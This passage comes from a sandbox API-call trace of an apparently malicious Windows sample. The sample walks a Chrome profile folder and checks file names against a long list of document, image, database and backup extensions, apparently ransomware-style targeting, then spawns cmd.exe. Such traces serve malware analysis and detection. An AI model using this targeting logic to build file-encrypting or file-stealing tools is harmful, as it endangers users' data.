(lpString1=".hpp", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".hta") returned 4 [0057.223] lstrcmpiW (lpString1=".hta", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".htc") returned 4 [0057.223] lstrcmpiW (lpString1=".htc", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".htm") returned 4 [0057.223] lstrcmpiW (lpString1=".htm", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".html") returned 5 [0057.223] lstrcmpiW (lpString1=".html", lpString2=".json") returned -1 [0057.223] lstrlenW (lpString=".icb") returned 4 [0057.223] lstrcmpiW (lpString1=".icb", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".ics") returned 4 [0057.223] lstrcmpiW (lpString1=".ics", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".iff") returned 4 [0057.223] lstrcmpiW (lpString1=".iff", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".inc") returned 4 [0057.223] lstrcmpiW (lpString1=".inc", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".indd") returned 5 [0057.223] lstrcmpiW (lpString1=".indd", lpString2=".json") returned -1 [0057.223] lstrlenW (lpString=".ini") returned 4 [0057.223] lstrcmpiW (lpString1=".ini", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".iqy") returned 4 [0057.223] lstrcmpiW (lpString1=".iqy", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".j2c") returned 4 [0057.223] lstrcmpiW (lpString1=".j2c", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".j2k") returned 4 [0057.223] lstrcmpiW (lpString1=".j2k", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".java") returned 5 [0057.224] lstrcmpiW (lpString1=".java", lpString2=".json") returned -1 [0057.224] lstrlenW (lpString=".jp2") returned 4 [0057.224] lstrcmpiW (lpString1=".jp2", lpString2="json") returned -1 [0057.224] lstrlenW (lpString=".jpc") returned 4 [0057.224] lstrcmpiW (lpString1=".jpc", lpString2="json") returned -1 [0057.224] lstrlenW (lpString=".jpe") returned 4 [0057.224] lstrcmpiW (lpString1=".jpe", lpString2="json") returned -1 [0057.224] lstrlenW (lpString=".jpeg") returned 5 [0057.224] lstrcmpiW (lpString1=".jpeg", lpString2=".json") returned -1 [0057.224] lstrlenW (lpString=".jpf") returned 4 [0057.224] lstrcmpiW (lpString1=".jpf", lpString2="json") returned -1 [0057.224] lstrlenW (lpString=".jpg") returned 4 [0057.224] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0057.224] lstrlenW (lpString=".jpx") returned 4 [0057.224] lstrcmpiW (lpString1=".jpx", lpString2="json") returned -1 [0057.224] lstrlenW (lpString=".js") returned 3 [0057.224] lstrcmpiW (lpString1=".js", lpString2="son") returned -1 [0057.224] lstrlenW (lpString=".jsf") returned 4 [0057.224] lstrcmpiW (lpString1=".jsf", lpString2="json") returned -1 [0057.224] lstrlenW (lpString=".json") returned 5 [0057.224] lstrcmpiW (lpString1=".json", lpString2=".json") returned 0 [0057.224] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834f3070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5224, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0057.224] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0057.224] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0057.224] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0057.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms") returned 146 [0057.224] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms") returned 1 [0057.225] lstrlenW (lpString="ms") returned 2 [0057.225] lstrcmpiW (lpString1="C:\\Windows", lpString2="ms") returned -1 [0057.225] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4ee00d8 [0057.225] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms") returned 146 [0057.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0057.225] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.225] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ff3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.225] lstrlenW (lpString="messages.json") returned 13 [0057.225] lstrlenW (lpString=".1cd") returned 4 [0057.225] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0057.225] lstrlenW (lpString=".3ds") returned 4 [0057.225] lstrcmpiW (lpString1=".3ds", lpString2="json") returned -1 [0057.225] lstrlenW (lpString=".3fr") returned 4 [0057.225] lstrcmpiW (lpString1=".3fr", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".3g2") returned 4 [0057.226] lstrcmpiW (lpString1=".3g2", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".3gp") returned 4 [0057.226] lstrcmpiW (lpString1=".3gp", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".7z") returned 3 [0057.226] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0057.226] lstrlenW (lpString=".accda") returned 6 [0057.226] lstrcmpiW (lpString1=".accda", lpString2="s.json") returned -1 [0057.226] lstrlenW (lpString=".accdb") returned 6 [0057.226] lstrcmpiW (lpString1=".accdb", lpString2="s.json") returned -1 [0057.226] lstrlenW (lpString=".accdc") returned 6 [0057.226] lstrcmpiW (lpString1=".accdc", lpString2="s.json") returned -1 [0057.226] lstrlenW (lpString=".accde") returned 6 [0057.226] lstrcmpiW (lpString1=".accde", lpString2="s.json") returned -1 [0057.226] lstrlenW (lpString=".accdt") returned 6 [0057.226] lstrcmpiW (lpString1=".accdt", lpString2="s.json") returned -1 [0057.226] lstrlenW (lpString=".accdw") returned 6 [0057.226] lstrcmpiW (lpString1=".accdw", lpString2="s.json") returned -1 [0057.226] lstrlenW (lpString=".adb") returned 4 [0057.226] lstrcmpiW (lpString1=".adb", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".adp") returned 4 [0057.226] lstrcmpiW (lpString1=".adp", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".ai") returned 3 [0057.226] lstrcmpiW (lpString1=".ai", lpString2="son") returned -1 [0057.226] lstrlenW (lpString=".ai3") returned 4 [0057.226] lstrcmpiW (lpString1=".ai3", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".ai4") returned 4 [0057.226] lstrcmpiW (lpString1=".ai4", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".ai5") returned 4 [0057.226] lstrcmpiW (lpString1=".ai5", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".ai6") returned 4 [0057.226] lstrcmpiW (lpString1=".ai6", lpString2="json") returned -1 [0057.226] lstrlenW (lpString=".ai7") returned 4 [0057.227] lstrcmpiW (lpString1=".ai7", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".ai8") returned 4 [0057.227] lstrcmpiW (lpString1=".ai8", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".anim") returned 5 [0057.227] lstrcmpiW (lpString1=".anim", lpString2=".json") returned -1 [0057.227] lstrlenW (lpString=".arw") returned 4 [0057.227] lstrcmpiW (lpString1=".arw", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".as") returned 3 [0057.227] lstrcmpiW (lpString1=".as", lpString2="son") returned -1 [0057.227] lstrlenW (lpString=".asa") returned 4 [0057.227] lstrcmpiW (lpString1=".asa", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".asc") returned 4 [0057.227] lstrcmpiW (lpString1=".asc", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".ascx") returned 5 [0057.227] lstrcmpiW (lpString1=".ascx", lpString2=".json") returned -1 [0057.227] lstrlenW (lpString=".asm") returned 4 [0057.227] lstrcmpiW (lpString1=".asm", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".asmx") returned 5 [0057.227] lstrcmpiW (lpString1=".asmx", lpString2=".json") returned -1 [0057.227] lstrlenW (lpString=".asp") returned 4 [0057.227] lstrcmpiW (lpString1=".asp", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".aspx") returned 5 [0057.227] lstrcmpiW (lpString1=".aspx", lpString2=".json") returned -1 [0057.227] lstrlenW (lpString=".asr") returned 4 [0057.227] lstrcmpiW (lpString1=".asr", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".asx") returned 4 [0057.227] lstrcmpiW (lpString1=".asx", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".avi") returned 4 [0057.227] lstrcmpiW (lpString1=".avi", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".avs") returned 4 [0057.227] lstrcmpiW (lpString1=".avs", lpString2="json") returned -1 [0057.227] lstrlenW (lpString=".backup") returned 7 [0057.227] lstrcmpiW (lpString1=".backup", lpString2="es.json") returned -1 [0057.227] lstrlenW (lpString=".bak") returned 4 [0057.228] lstrcmpiW (lpString1=".bak", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".bay") returned 4 [0057.228] lstrcmpiW (lpString1=".bay", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".bd") returned 3 [0057.228] lstrcmpiW (lpString1=".bd", lpString2="son") returned -1 [0057.228] lstrlenW (lpString=".bin") returned 4 [0057.228] lstrcmpiW (lpString1=".bin", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".bmp") returned 4 [0057.228] lstrcmpiW (lpString1=".bmp", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".bz2") returned 4 [0057.228] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".c") returned 2 [0057.228] lstrcmpiW (lpString1=".c", lpString2="on") returned -1 [0057.228] lstrlenW (lpString=".cdr") returned 4 [0057.228] lstrcmpiW (lpString1=".cdr", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".cer") returned 4 [0057.228] lstrcmpiW (lpString1=".cer", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".cf") returned 3 [0057.228] lstrcmpiW (lpString1=".cf", lpString2="son") returned -1 [0057.228] lstrlenW (lpString=".cfc") returned 4 [0057.228] lstrcmpiW (lpString1=".cfc", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".cfm") returned 4 [0057.228] lstrcmpiW (lpString1=".cfm", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".cfml") returned 5 [0057.228] lstrcmpiW (lpString1=".cfml", lpString2=".json") returned -1 [0057.228] lstrlenW (lpString=".cfu") returned 4 [0057.228] lstrcmpiW (lpString1=".cfu", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".chm") returned 4 [0057.228] lstrcmpiW (lpString1=".chm", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".cin") returned 4 [0057.228] lstrcmpiW (lpString1=".cin", lpString2="json") returned -1 [0057.228] lstrlenW (lpString=".class") returned 6 [0057.229] lstrcmpiW (lpString1=".class", lpString2="s.json") returned -1 [0057.229] lstrlenW (lpString=".clx") returned 4 [0057.229] lstrcmpiW (lpString1=".clx", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".config") returned 7 [0057.229] lstrcmpiW (lpString1=".config", lpString2="es.json") returned -1 [0057.229] lstrlenW (lpString=".cpp") returned 4 [0057.229] lstrcmpiW (lpString1=".cpp", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".cr2") returned 4 [0057.229] lstrcmpiW (lpString1=".cr2", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".crt") returned 4 [0057.229] lstrcmpiW (lpString1=".crt", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".crw") returned 4 [0057.229] lstrcmpiW (lpString1=".crw", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".cs") returned 3 [0057.229] lstrcmpiW (lpString1=".cs", lpString2="son") returned -1 [0057.229] lstrlenW (lpString=".css") returned 4 [0057.229] lstrcmpiW (lpString1=".css", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".csv") returned 4 [0057.229] lstrcmpiW (lpString1=".csv", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".cub") returned 4 [0057.229] lstrcmpiW (lpString1=".cub", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".dae") returned 4 [0057.229] lstrcmpiW (lpString1=".dae", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".dat") returned 4 [0057.229] lstrcmpiW (lpString1=".dat", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".db") returned 3 [0057.229] lstrcmpiW (lpString1=".db", lpString2="son") returned -1 [0057.229] lstrlenW (lpString=".dbf") returned 4 [0057.229] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".dbx") returned 4 [0057.229] lstrcmpiW (lpString1=".dbx", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".dc3") returned 4 [0057.229] lstrcmpiW (lpString1=".dc3", lpString2="json") returned -1 [0057.229] lstrlenW (lpString=".dcm") returned 4 [0057.230] lstrcmpiW (lpString1=".dcm", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".dcr") returned 4 [0057.230] lstrcmpiW (lpString1=".dcr", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".der") returned 4 [0057.230] lstrcmpiW (lpString1=".der", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".dib") returned 4 [0057.230] lstrcmpiW (lpString1=".dib", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".dic") returned 4 [0057.230] lstrcmpiW (lpString1=".dic", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".dif") returned 4 [0057.230] lstrcmpiW (lpString1=".dif", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".divx") returned 5 [0057.230] lstrcmpiW (lpString1=".divx", lpString2=".json") returned -1 [0057.230] lstrlenW (lpString=".djvu") returned 5 [0057.230] lstrcmpiW (lpString1=".djvu", lpString2=".json") returned -1 [0057.230] lstrlenW (lpString=".dng") returned 4 [0057.230] lstrcmpiW (lpString1=".dng", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".doc") returned 4 [0057.230] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".docm") returned 5 [0057.230] lstrcmpiW (lpString1=".docm", lpString2=".json") returned -1 [0057.230] lstrlenW (lpString=".docx") returned 5 [0057.230] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0057.230] lstrlenW (lpString=".dot") returned 4 [0057.230] lstrcmpiW (lpString1=".dot", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".dotm") returned 5 [0057.230] lstrcmpiW (lpString1=".dotm", lpString2=".json") returned -1 [0057.230] lstrlenW (lpString=".dotx") returned 5 [0057.230] lstrcmpiW (lpString1=".dotx", lpString2=".json") returned -1 [0057.230] lstrlenW (lpString=".dpx") returned 4 [0057.230] lstrcmpiW (lpString1=".dpx", lpString2="json") returned -1 [0057.230] lstrlenW (lpString=".dqy") returned 4 [0057.230] lstrcmpiW (lpString1=".dqy", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".dsn") returned 4 [0057.231] lstrcmpiW (lpString1=".dsn", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".dt") returned 3 [0057.231] lstrcmpiW (lpString1=".dt", lpString2="son") returned -1 [0057.231] lstrlenW (lpString=".dtd") returned 4 [0057.231] lstrcmpiW (lpString1=".dtd", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".dwg") returned 4 [0057.231] lstrcmpiW (lpString1=".dwg", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".dwt") returned 4 [0057.231] lstrcmpiW (lpString1=".dwt", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".dx") returned 3 [0057.231] lstrcmpiW (lpString1=".dx", lpString2="son") returned -1 [0057.231] lstrlenW (lpString=".dxf") returned 4 [0057.231] lstrcmpiW (lpString1=".dxf", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".edml") returned 5 [0057.231] lstrcmpiW (lpString1=".edml", lpString2=".json") returned -1 [0057.231] lstrlenW (lpString=".efd") returned 4 [0057.231] lstrcmpiW (lpString1=".efd", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".elf") returned 4 [0057.231] lstrcmpiW (lpString1=".elf", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".emf") returned 4 [0057.231] lstrcmpiW (lpString1=".emf", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".emz") returned 4 [0057.231] lstrcmpiW (lpString1=".emz", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".epf") returned 4 [0057.231] lstrcmpiW (lpString1=".epf", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".eps") returned 4 [0057.231] lstrcmpiW (lpString1=".eps", lpString2="json") returned -1 [0057.231] lstrlenW (lpString=".epsf") returned 5 [0057.231] lstrcmpiW (lpString1=".epsf", lpString2=".json") returned -1 [0057.231] lstrlenW (lpString=".epsp") returned 5 [0057.231] lstrcmpiW (lpString1=".epsp", lpString2=".json") returned -1 [0057.231] lstrlenW (lpString=".erf") returned 4 [0057.232] lstrcmpiW (lpString1=".erf", lpString2="json") returned -1 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4f748000" os_pid = "0x9cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x950" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0x9d0 [0036.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f940 | out: lpSystemTimeAsFileTime=0x16f940*(dwLowDateTime=0x59091720, dwHighDateTime=0x1d5b994)) [0036.135] GetCurrentProcessId () returned 0x9cc [0036.135] GetCurrentThreadId () returned 0x9d0 [0036.136] GetTickCount () returned 0x1143c36 [0036.136] QueryPerformanceCounter (in: lpPerformanceCount=0x16f948 | out: lpPerformanceCount=0x16f948*=15643860022) returned 1 [0036.136] GetModuleHandleW (lpModuleName=0x0) returned 0x4a030000 [0036.136] __set_app_type (_Type=0x1) [0036.137] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a057810) returned 0x0 [0036.137] __getmainargs (in: _Argc=0x4a07a608, _Argv=0x4a07a618, _Env=0x4a07a610, _DoWildCard=0, _StartInfo=0x4a05e0f4 | out: _Argc=0x4a07a608, _Argv=0x4a07a618, _Env=0x4a07a610) returned 0 [0036.137] GetCurrentThreadId () returned 0x9d0 [0036.137] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9d0) returned 0x3c [0036.138] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0036.138] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0036.138] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0036.138] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.138] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f8d8 | out: phkResult=0x16f8d8*=0x0) returned 0x2 [0036.138] VirtualQuery (in: lpAddress=0x16f8c0, lpBuffer=0x16f840, dwLength=0x30 | out: lpBuffer=0x16f840*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.138] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16f840, dwLength=0x30 | out: lpBuffer=0x16f840*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.138] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16f840, dwLength=0x30 | out: lpBuffer=0x16f840*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.138] VirtualQuery (in: lpAddress=0x74000, lpBuffer=0x16f840, dwLength=0x30 | out: lpBuffer=0x16f840*(BaseAddress=0x74000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.138] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16f840, dwLength=0x30 | out: lpBuffer=0x16f840*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.138] GetConsoleOutputCP () returned 0x1b5 [0036.138] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a06bfe0 | out: lpCPInfo=0x4a06bfe0) returned 1 [0036.139] SetConsoleCtrlHandler (HandlerRoutine=0x4a053184, Add=1) returned 1 [0036.139] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.139] SetConsoleMode (hConsoleHandle=0x2d0, dwMode=0x0) returned 0 [0036.139] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.139] GetConsoleMode (in: hConsoleHandle=0x2d0, lpMode=0x4a05e194 | out: lpMode=0x4a05e194) returned 0 [0036.139] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.139] GetConsoleMode (in: hConsoleHandle=0x2c4, lpMode=0x4a05e198 | out: lpMode=0x4a05e198) returned 0 [0036.139] GetEnvironmentStringsW () returned 0x1c8a60* [0036.139] GetProcessHeap () returned 0x1b0000 [0036.139] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xa7c) returned 0x1c94f0 [0036.139] FreeEnvironmentStringsW (penv=0x1c8a60) returned 1 [0036.139] GetProcessHeap () returned 0x1b0000 [0036.139] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x8) returned 0x1c88e0 [0036.139] GetEnvironmentStringsW () returned 0x1c8a60* [0036.139] GetProcessHeap () returned 0x1b0000 [0036.139] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xa7c) returned 0x1c9f80 [0036.140] FreeEnvironmentStringsW (penv=0x1c8a60) returned 1 [0036.140] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e798 | out: phkResult=0x16e798*=0x44) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x0, lpData=0x16e7b0*=0x18, lpcbData=0x16e794*=0x1000) returned 0x2 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x4, lpData=0x16e7b0*=0x1, lpcbData=0x16e794*=0x4) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x0, lpData=0x16e7b0*=0x1, lpcbData=0x16e794*=0x1000) returned 0x2 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x4, lpData=0x16e7b0*=0x0, lpcbData=0x16e794*=0x4) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x4, lpData=0x16e7b0*=0x40, lpcbData=0x16e794*=0x4) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x4, lpData=0x16e7b0*=0x40, lpcbData=0x16e794*=0x4) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x0, lpData=0x16e7b0*=0x40, lpcbData=0x16e794*=0x1000) returned 0x2 [0036.140] RegCloseKey (hKey=0x44) returned 0x0 [0036.140] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e798 | out: phkResult=0x16e798*=0x44) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x0, lpData=0x16e7b0*=0x40, lpcbData=0x16e794*=0x1000) returned 0x2 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: 